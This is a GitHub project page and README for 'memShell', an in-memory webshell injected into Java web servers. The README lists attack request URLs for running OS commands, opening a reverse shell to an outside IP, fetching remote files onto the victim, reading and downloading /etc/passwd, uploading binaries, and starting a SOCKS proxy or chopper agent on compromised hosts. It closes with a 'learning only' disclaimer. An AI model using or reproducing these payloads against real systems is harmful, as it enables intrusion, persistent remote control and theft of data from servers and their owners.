https://github.com/rebeyond/memShell

a webshell resides in the memory of java web server
https://github.com/rebeyond/memShell

Last synced: about 2 months ago
JSON representation

a webshell resides in the memory of java web server

• Host: GitHub
• URL: https://github.com/rebeyond/memShell
• Owner: rebeyond
• Created: 2018-05-24T02:55:48.000Z (over 6 years ago)
• Default Branch: master
• Last Pushed: 2018-06-26T09:23:55.000Z (about 6 years ago)
• Last Synced: 2024-06-26T06:33:28.084Z (3 months ago)
• Language: Java
• Size: 36.1 KB
• Stars: 643
• Watchers: 10
• Forks: 147
• Open Issues: 8
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

• awesome-hacking-lists - rebeyond/memShell - a webshell resides in the memory of java web server (Java)

README

        
# memShell

a webshell resides in the memory of java web server

# install

* unzip memShell.zip

* cd memShell

* java -jar inject.jar

# usage

* anyurl?pass_the_world=pass //show this help page.  

* anyurl?pass_the_world=pass&model=exec&cmd=whoami  //run os command.  

* anyurl?pass_the_world=pass&model=connectback&ip=8.8.8.8&port=51 //reverse a shell back to 8.8.8.8 on port 51.  

* anyurl?pass_the_world=pass&model=urldownload&url=http://xxx.com/test.pdf&path=/tmp/test.pdf //download a remote file via the victim's network directly.  

* anyurl?pass_the_world=pass&model=list[del|show]&path=/etc/passwd  //list,delete,show the specified path or file.  

* anyurl?pass_the_world=pass&model=download&path=/etc/passwd  //download the specified file on the victim's disk.  

* anyurl?pass_the_world=pass&model=upload&path=/tmp/a.elf&content=this_is_content[&type=b]   //upload a text file or a base64 encoded binary file to the victim's disk.  

* anyurl?pass_the_world=pass&model=proxy  //start a socks proxy server on the victim.  

* anyurl?pass_the_world=pass&model=chopper  //start a chopper server agent on the victim.  

**!!!It is recommended to use the POST method to submit data.** 

# note

For learning exchanges only, do not use for illegal purposes.by rebeyond.